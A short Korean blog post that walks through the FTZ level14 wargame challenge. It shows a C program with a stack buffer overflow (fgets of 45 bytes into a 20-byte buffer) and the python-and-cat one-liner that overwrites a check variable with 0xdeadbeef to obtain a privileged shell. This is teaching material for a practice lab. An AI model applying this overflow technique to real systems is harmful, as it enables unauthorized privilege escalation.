zj3t

email: euntaejang@gmail.com

Latest Posts

FTZ-level14

By 오후 9:33 ,



이번 문제는 level12와 거의 유사한 문제입니다.

#include <stdio.h>
#include <unistd.h>

main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}  

fget()함수로 최대 입력횟수(NULL포함)을 지정해준 문제입니다. 따라서 최대 44개의 문자를 입력할 수 있습니다.

우리는 이 문제에서 crap 변수를 생각할 필요가 없습니다. 왜냐하면 밑에 그림을 보시면 됩니다.

따라서 스택의 구조상 우리는 buf[20] | dummy | check 이 부분만 살펴보면 됩니다.   
dummy의 크기를 알아보려고 또 노가다를 해야겠습니다. 
범위는 dummy가 없다고 가정한 20부터 40까지로 지정했습니다.
   
[level14@ftz level14]$ (python -c 'print "\x90"*20+"\xef\xbe\xad\xde"';cat)|./attackme
.
.
.
.
.
.
.
[level14@ftz level14]$ (python -c 'print "\x90"*40+"\xef\xbe\xad\xde"';cat)|./attackme




cat을 붙여주여야 하는 이유!!
=level12에서 이해하기 쉽게는 썼습니다. 여기서 간단히 적고 넘어가자면 cat없이 python만 쓴다면 python 명령이 실행되고 종료되어 파이프라인 오류, 즉 stdout의 역할을 하지 못하므로 cat을 너어주어 입력상태까지 함께 넣어주는 것이라고 생각하면 쉽습니다.








You Might Also Like

0 개의 댓글